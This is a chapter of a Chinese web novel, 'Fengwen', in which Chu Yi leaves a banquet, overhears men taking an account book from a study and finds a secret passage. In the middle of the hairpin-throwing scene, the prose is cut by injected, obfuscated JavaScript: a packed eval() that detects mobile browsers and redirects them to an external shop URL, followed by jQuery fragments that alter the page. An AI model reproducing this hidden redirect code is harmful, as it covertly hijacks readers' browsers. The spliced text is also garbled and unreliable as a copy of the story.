24.密道
作品:《风闻》 柳煦没有跟楚宜多聊,打了个招呼便离开。
她是东道主的女儿,要忙的事情并不少。
楚宜伸手取了面前一块点心来吃。
味道和扬州的不大一样。
她问正端着水果来的小丫头:“你们这糕点味道不错,是在哪儿买的?”
小丫头闻言答道:“奴婢不知,是郎君带回来的。”
小丫头说话的时候面色不变。
楚宜闻言若有所思地点点头,没再追问。
成郎闻言也拿起了楚宜面前漆盘里的糕点,咬了一口。
姜五见状笑道:“成郎今日怎还吃起甜食起来了。”
成郎将口中糕点咽下去,开口道:“味道不错。”
姜五见成郎都在夸,也拿了一块,味道的确不错。
交谈间,院子门口传来一阵喧哗。
楚宜抬眼望去,只见一位穿着绛紫色衣袍的男人正与柳清拱手寒暄。
男人面容清癯,下颔蓄着胡须,举手投足间尽是书卷之气。
姜五顺着楚宜的目光看过去,无意介绍道:“那位是扬州有名的生意人,唤于章文。这孩子也时运不济,当年他求学之时,人人都说他天资聪颖,只可惜他商户出生,没法科举。”
楚宜心头微动,面上却不动声色。
于章文与柳清寒暄几句,接着由侍者引来席间。
经过姜家座位时,于章文停了下来:“姜兄,好久不见。”
姜五在京城名气响,虽然和于章文没有直接的合作,但是二人的朋友圈子相近,是以也彼此以兄弟相称。
姜五回握住于章文伸出来的手:“的确有些时日了,上次见面,我记着还是半年前呢。”
于章文脸上带笑:“姜兄记性真好,改日我们在扬州城也好好聚聚。”
姜五满口应下。
于章文的目光顺势转到了楚宜姐弟身上,成郎他认得,当年他还在书院的时候,这个孩子最是寡淡,如今也是翩翩少年模样了,时间过得是真的快。
于章文不由得叹道:“成郎竟然这么高了。”
成郎笑笑,没回话。
于章文晓得他的性子,也不介意,楚宜对于章文来说倒是个新面孔。
姜五介绍到道:“这是我的大女儿,名唤楚宜。”
于章文听后向楚宜行了个礼,笑道:“楚娘子安好。”
楚宜亦是回礼。
那边又有人瞧见了于章文,于章文告了歉就往那边走去。
周遭的空气一下子变得安静了起来。
这于章文表面瞧着温和有礼,可他看人的目光总叫楚宜想起带有剧毒的蛇。
冷静,可怕,会在人不经意的时候一击致命。
宴席渐入佳境,丝竹声起,席间觥筹交错。
一切都是那么的平常。
宴席上信男善女各自热闹,山珍海味应有尽有。
这都是扬州城的繁华。
也是百姓们烈日田间的哀怨。
楚宜的目光骤然和身边一位小厮对上,她立刻心中有了盘算——
那些人要动作了。
楚宜借口更衣,先行离席。
成郎看了这个姐姐一眼,没有出声。
姜五此时已经被扬州的大人们绊住了步子,根本没注意到楚宜这边。
云儿见到了楚宜的动静,会意跟在她身后。
没走几步就有一个柳府的丫鬟跟了上来。
楚宜看了她一眼,眼尾一颗小痣,她心知肚明。
这是风闻阁的人。
这个小丫头把楚宜往前面带,带到了一座假山后面,之后便抽身离开。
楚宜眸光微闪,瞧见假山后面出来一个男人——
是影三,影三开口道:“我刚瞧见于大人的随从往西边的书房去了。”
书房么?
楚宜若有所思。
影三接着说道:“柳清对这个书房十分看重,平日里不许奴仆靠近,是以我们并未打听到内里有什么东西。”
楚宜脑中有了猜测,当即下定决心。
“你们就在此处候着,若有人问起,就说我饮了酒吹风醒神。”楚宜如是吩咐道,自己提起裙摆往外走。
云儿道:“姑娘何必自己走这么一遭,倒不如……”
楚宜止住了云儿的话头,她笑着:“正是自己走这么一遭才有趣味。”
云儿没再说话。
借着假山与花木的掩映,楚宜往西院走去。
她记得自己出来的时候,柳清正在外面与人吃酒,于章文亦然。
这样的话,她就不用担心被发现,横竖自己是姜府小姐,可以随便胡诌自己走错了路。
现在这个时间点有一个小厮去书房,楚宜很是好奇他们究竟要做些什么。
初夏的风有些清凉,吹得她衣角飞起。
柳府的书房在院子的东侧,和宴席相隔。
一边是喧哗热闹,一边是幽静平淡。
楚宜来的路上并未见到柳府下人。
一是她在今日的柳府插了不少风闻阁的人,风闻阁的人受了楚宜的指令自然不会给她下绊子,二是这般隐秘之事柳清定然也不会加派很多人手,三便是柳煦,瞧着柳煦这人和她父亲嫌隙颇大,若真是和自己一路人,想来这位柳家小姐也会助她一臂之力。
楚宜思及此觉得好笑——自己还真是一个赌徒。
把这些东西算得明明白白,但说到底还是不知道自己的计谋究竟是不是正确的。
赌徒就赌徒吧,在赌局上面,楚宜觉得自己始终是那个面前堆着金山银山的人。
她贴着月洞门往里走,心头有些紧张。幸而附近层层竹林,叫她勉强可以避身。
屋内陡然传来声响。
楚宜身子一抖,不敢呼吸,贴在竹林边,听那些人在说什么。
一个年轻些的嗓音道:“郎君吩咐过了,今日务必带走。”
另一个稍显年长的声音答道:“外头宴席正酣,至少还得几个时辰,你何必如此着急?”
年轻的声音有些恨铁不成钢:“京城那边都有人过来了你还这般不紧不慢。”
年长的声音答道:“我知晓了,是这本吗?”
年轻的答道:“不是。”
接着里面是微小的一些动静。
楚宜心下一凛。
账册?
那那些宝物又是怎么回事。
于章文一个外人,为何他要柳清的账册。
难不成他们二人早已暗自结盟。
可是一个活动在扬州,一个重心转至京城,结盟又有何用?
楚宜正凝神之际,忽然听到身后有脚步声。
她回头一望。
竟然是柳家的主管。
只见一道瘦长的人影步步紧逼。
楚宜瞧着那人越来越近。
竹林虽然繁密,可也很难遮住一个成年女子。
她无处可躲了。
倒不如——
再来赌一把。
电光火石之间,楚宜抬手拔下了鬓边一支细簪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16970596|191835||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,往对面奋力一掷。
“啪嗒”一声响,簪子穿过密密的竹林落到了地上。
“谁?”管事的脚步瞬间停下,警惕地望着声音发出的地方。
只有簌簌的落叶和飞扬的尘土。
管事的不死心,目光转向另一头。
青竹微微摇晃,不见任何人影。
“真是奇了怪了。”管事的挠了挠后脑勺,猜着怕是野狗野猫之类的东西,继续往前面走去。
此时的楚宜正背靠着墙,努力平息着自己的呼吸,生怕刚刚躲过外面的管家,又被里面的人发现了。
方才她趁着管事的查看的功夫,猫腰疾步到了书房边上一处堆满杂物的窄小缝隙里面,堪堪躲过这一劫。
若是慢了半秒,恐怕就要被那管事的发觉。
屋内的交谈声停了下来,改成了匆匆脚步声。
门被打开。
楚宜甚至可以感受到门被打开时空气中微小的气流。
她的呼吸仍然有些急促,如今只能憋着,叫她有些难受。
耳畔边陡然出现几道声音,吓得楚宜身子微抖。
“今日必须把事情完成。”
“我知晓了。”
二人与楚宜不过几尺距离,楚宜躲在杂物之中,生怕被人发现。
好在那两人也着急,根本没往这边看。
楚宜见人走远,决定进门瞧瞧看。
屋内陈设清雅,书卷整齐,并没有被人动过的痕迹。
书案干干净净,放着宣纸砚台。
楚宜的目光落到那方砚台上面——
砚台边缘有一道划痕,瞧着像是被什么东西磕碰而至。
楚宜蹲下身子,朝着砚台划痕的方向看去。
视线落到了书架的后面,楚宜拿起那个砚台就往书架那边走去。
她伸手触摸着书架后面的墙壁,终于找到了凹进去的一个角落。
楚宜低头看了看自己手中的东西,抬手把砚台往那一块砸去。
“轰”一声。
书架缓慢地向两侧移开。
露出了一个密室。
里面一片漆黑,外面的日光只能照亮往里一尺的方寸之地。
里面没有任何奇怪的味道,楚宜拿着那方砚台往里面走。
墙壁上一个小小的台子,楚宜尝试着把砚台放到上面。
砚台触碰到台面的一瞬间,身后又传来响声。
门被关上。
密道陷入一片可怖的黑暗。
两秒之后,面前亮起火光,两壁的烛火一个接一个亮起,长长的一条走廊,不知会将人带往何处。
楚宜深吸一口气,往里面走去。
墙壁瞧着被人用土糊了一层。
里面安静地很,深处似乎有水声,楚宜静下来想再听一下的时候,那声音又停了下来。
难不成里面有人吗?
楚宜摸了摸指上的玉扳指,继续往前面走。
她终于穿过了长长的走廊,视野一下子变得开阔了起来。
她像是来到了一处别院,院子里面种着花花草草,瞧着都是些稀罕物。
对面是一处屋子,门被紧锁着。
就在楚宜向前几步弯腰瞧那些花的时候,“咯吱”一声,对面的门被打开了。
楚宜听到声音之后心一紧,又摸了一下那个玉扳指,接着直起身子。
正准备把扳指里面藏着的细针射出去的时候,她愣住了。
——
一个女人正直勾勾地盯着她。

